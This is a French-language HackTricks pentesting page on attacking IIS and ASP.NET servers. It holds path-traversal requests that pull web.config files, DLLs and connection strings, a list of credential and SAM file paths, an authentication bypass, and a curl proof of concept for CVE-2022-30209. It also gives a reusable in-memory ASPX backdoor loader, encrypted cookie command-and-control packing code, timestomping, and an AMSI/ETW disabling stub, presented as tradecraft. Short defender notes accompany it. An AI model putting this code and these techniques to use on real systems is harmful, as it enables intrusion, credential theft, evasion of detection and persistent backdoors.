IIS - Internet Information Services
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Extensions de fichiers exécutables à tester :
- asp
- aspx
- config
- php
Divulgation d’adresses IP internes
Sur tout serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer le Host header et d’utiliser HTTP/1.0 ; dans la réponse, le Location header pourrait pointer vers l’adresse IP interne :
nc -v domain.com 80
openssl s_client -connect domain.com:443
Réponse divulguant l’IP interne :
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Exécuter les fichiers .config
Vous pouvez téléverser des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d’ajouter le code à la fin du fichier à l’intérieur d’un commentaire HTML : Download example here
Plus d’informations et de techniques pour exploiter cette vulnérabilité ici
IIS Discovery Bruteforce
Téléchargez la liste que j’ai créée :
Elle a été créée en fusionnant le contenu des listes suivantes :
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Utilisez-la sans ajouter d’extension, les fichiers qui en ont besoin l’ont déjà.
Path Traversal
Leaking source code
Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
Tip
En résumé, il y a plusieurs fichiers web.config dans les dossiers de l’application contenant des références aux fichiers assemblyIdentity et aux namespaces. Avec ces informations, il est possible de savoir où se trouvent les exécutables et de les télécharger.
À partir des Dlls téléchargés, il est également possible de trouver de nouveaux namespaces où vous devriez tenter d’accéder et récupérer le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.
De plus, les fichiers connectionstrings.config et global.asax peuvent contenir des informations intéressantes.
Dans les applications .Net MVC, le fichier web.config joue un rôle crucial en spécifiant chaque fichier binaire dont l’application dépend via les balises XML “assemblyIdentity”.
Exploration des fichiers binaires
Un exemple d’accès au fichier web.config est présenté ci-dessous:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Cette requête révèle plusieurs paramètres et dépendances, tels que :
- la version de EntityFramework
- AppSettings pour webpages, la validation côté client et JavaScript
- configurations System.web pour l’authentification et le runtime
- paramètres des modules System.webServer
- liaisons d’assembly Runtime pour de nombreuses bibliothèques comme Microsoft.Owin, Newtonsoft.Json et System.Web.Mvc
Ces paramètres indiquent que certains fichiers, tels que /bin/WebGrease.dll, se trouvent dans le dossier /bin de l’application.
Fichiers du répertoire racine
Les fichiers trouvés dans le répertoire racine, comme /global.asax et /connectionstrings.config (qui contient des mots de passe sensibles), sont essentiels à la configuration et au fonctionnement de l’application.
Espaces de noms et Web.config
Les applications MVC définissent également des fichiers web.config supplémentaires pour des espaces de noms spécifiques afin d’éviter des déclarations répétitives dans chaque fichier, comme le montre une requête pour télécharger un autre web.config :
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Téléchargement de DLLs
La mention d’un namespace personnalisé suggère une DLL nommée “WebApplication1” présente dans le répertoire /bin. Ensuite, une requête pour télécharger la WebApplication1.dll est affichée :
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Cela suggère la présence d’autres DLLs essentielles, comme System.Web.Mvc.dll et System.Web.Optimization.dll, dans le répertoire /bin.
Dans un scénario où une DLL importe un namespace appelé WebApplication1.Areas.Minded, un attacker pourrait déduire l’existence d’autres fichiers web.config dans des chemins prévisibles, tels que /area-name/Views/, contenant des configurations spécifiques et des références à d’autres DLLs dans le dossier /bin. Par exemple, une requête vers /Minded/Views/web.config peut révéler des configurations et des namespaces qui indiquent la présence d’une autre DLL, WebApplication1.AdditionalFeatures.dll.
Fichiers courants
Depuis here
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Error
If you see an error like the following one:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png)
Cela signifie que le serveur n’a pas reçu le nom de domaine correct dans le Host header.
Pour accéder à la page web, vous pouvez regarder le SSL Certificate présenté et peut‑être y trouver le nom de domaine/sous‑domaine. S’il n’y est pas, il se peut que vous deviez brute force VHosts jusqu’à trouver le bon.
Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
Two common patterns to protect secrets on IIS-hosted .NET apps are:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) for web.config sections like
. - ASP.NET Core Data Protection key ring (persisted locally) used to protect application secrets and cookies.
If you have filesystem or interactive access on the web server, co-located keys often allow decryption.
- ASP.NET (Full Framework) – decrypt protected config sections with aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core – recherchez les Data Protection key rings stockés localement (fichiers XML/JSON) sous des emplacements tels que :
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- Dossier géré par l’application (par ex., App_Data\keys ou un répertoire Keys à côté de l’app)
Avec le key ring disponible, un opérateur s’exécutant sous l’identité de l’application peut instancier un IDataProtector avec les mêmes purposes et unprotect les secrets stockés. Des mauvaises configurations qui stockent le key ring avec les fichiers de l’application rendent le déchiffrement hors ligne trivial une fois l’hôte compromis.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Le toolkit Phantom Taurus/NET-STAR montre un schéma abouti pour la persistance sans fichier sur IIS et la post‑exploitation entièrement à l’intérieur de w3wp.exe. Les idées principales sont largement réutilisables pour du tradecraft personnalisé et pour la détection/la chasse.
Éléments clés
- ASPX bootstrapper hébergeant une payload embarquée : une seule page .aspx (par ex. OutlookEN.aspx) contient une DLL .NET encodée en Base64, éventuellement compressée avec Gzip. Lors d’une requête de déclenchement elle la décode, la décompresse et la charge par réflexion dans l’AppDomain courant et invoque le point d’entrée principal (par ex. ServerRun.Run()).
- Cookie‑scoped, encrypted C2 with multi‑stage packing : les tâches/résultats sont emballés avec Gzip → AES‑ECB/PKCS7 → Base64 et transmis via des requêtes apparemment légitimes contenant beaucoup de cookies ; les opérateurs utilisaient des délimiteurs stables (par ex. “STAR”) pour le découpage.
- Reflective .NET execution : accepte des assemblies managés arbitraires en Base64, les charge via Assembly.Load(byte[]) et passe des arguments d’opérateur pour permettre des échanges rapides de modules sans toucher au disque.
- Fonctionnement dans des sites ASP.NET précompilés : ajouter/gérer des shells/backdoors auxiliaires même lorsque le site est précompilé (par ex. le dropper ajoute des pages/handlers dynamiques ou exploite des config handlers) – exposé via des commandes telles que bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery : expose une action changeLastModified et effectue du timestomping lors du déploiement (y compris des timestamps de compilation futurs) pour entraver le DFIR.
- Optional AMSI/ETW pre‑disable for loaders : un loader de deuxième stade peut désactiver AMSI et ETW avant d’appeler Assembly.Load afin de réduire l’inspection des payloads en mémoire.
Modèle minimal de chargeur ASPX
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Outils de Packing/crypto (Gzip + AES‑ECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Flux des cookies/sessions et surface de commande
- L’initialisation de la session et l’assignation des tâches sont effectuées via des cookies afin de se fondre dans l’activité web normale.
- Les commandes observées sur le terrain comprenaient : fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; et les primitives d’exécution dynamique code_self, code_pid, run_code pour l’exécution .NET en mémoire.
Utilitaire Timestomping
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Désactivation inline d’AMSI/ETW avant Assembly.Load (loader variant)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
Voir les techniques de contournement AMSI/ETW dans: windows-hardening/av-bypass.md
Notes pour les défenseurs
- Une seule page ASPX étrange avec de très longs blobs Base64/Gzip ; requêtes POST riches en cookies.
- Modules managés non supportés dans w3wp.exe ; chaînes comme Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Délimiteurs répétés comme “STAR” dans le trafic ; timestamps discordants voire futurs sur les ASPX/assemblies.
Telerik UI WebResource.axd reflection non sécurisée (CVE-2025-3600)
De nombreuses apps ASP.NET intègrent Telerik UI for ASP.NET AJAX et exposent le handler non authentifié Telerik.Web.UI.WebResource.axd. Lorsque le endpoint de cache de l’Image Editor est accessible (type=iec), les paramètres dkey=1 et prtype activent une reflection non sécurisée qui exécute tout constructeur public sans paramètres pré-auth. Cela fournit un primitive DoS universel et peut escalader en RCE pré-auth sur les apps ayant des handlers AppDomain.AssemblyResolve non sécurisés.
Voir les techniques détaillées et PoCs ici :
Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd
Anciennes vulnérabilités IIS à rechercher
Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure
Vous pouvez essayer d’énumérer les dossiers et fichiers à l’intérieur de chaque dossier découvert (même s’il nécessite une authentification Basic) en utilisant cette technique.
La principale limitation de cette technique si le serveur est vulnérable est qu’elle ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l’extension des fichiers.
Vous pouvez utiliser https://github.com/irsdl/IIS-ShortName-Scanner pour tester pour cette vulnérabilité : java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
.png)
Recherche originale : https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Vous pouvez aussi utiliser metasploit : use scanner/http/iis_shortname_scanner
Une bonne idée pour trouver le nom final des fichiers découverts est de demander aux LLMs des options comme fait le script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Contournement de l’Authentification Basic
Contourner une authentification basic (IIS 7.5) en essayant d’accéder : /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php
Vous pouvez essayer de mixer cette vulnérabilité et la précédente pour trouver de nouveaux dossiers et contourner l’authentification.
ASP.NET Trace.AXD : debugging activé
ASP.NET inclut un mode de debugging et son fichier s’appelle trace.axd.
Il conserve un journal très détaillé de toutes les requêtes effectuées sur une application sur une période donnée.
Ces informations incluent les adresses IP distantes, les IDs de session, tous les cookies de requête et de réponse, les chemins physiques, des informations sur le code source, et potentiellement même des noms d’utilisateur et des mots de passe.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Cookie ASPXAUTH
ASPXAUTH utilise les informations suivantes :
validationKey(string): clé encodée en hex utilisée pour la validation de signature.decryptionMethod(string): (par défaut “AES”).decryptionIV(string): vecteur d’initialisation encodé en hex (par défaut un vecteur de zéros).decryptionKey(string): clé encodée en hex utilisée pour le déchiffrement.
Cependant, certaines personnes utiliseront les valeurs par défaut de ces paramètres et utiliseront comme cookie l’email de l’utilisateur. Par conséquent, si vous pouvez trouver un site utilisant la même plateforme qui utilise le cookie ASPXAUTH et que vous créez un utilisateur avec l’email de l’utilisateur que vous voulez usurper sur le serveur sous attaque, vous pouvez être capable de utiliser le cookie du second serveur dans le premier et usurper l’utilisateur.
Cette attaque a fonctionné dans ce writeup.
Contournement d’authentification IIS avec mots de passe mis en cache (CVE-2022-30209)
Full report here : Un bug dans le code ne vérifiait pas correctement le mot de passe fourni par l’utilisateur, donc un attaquant dont le hash du mot de passe correspond à une clé déjà présente dans le cache pourra se connecter en tant que cet utilisateur.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Références
- Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite
- AMSI/ETW bypass background (HackTricks)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

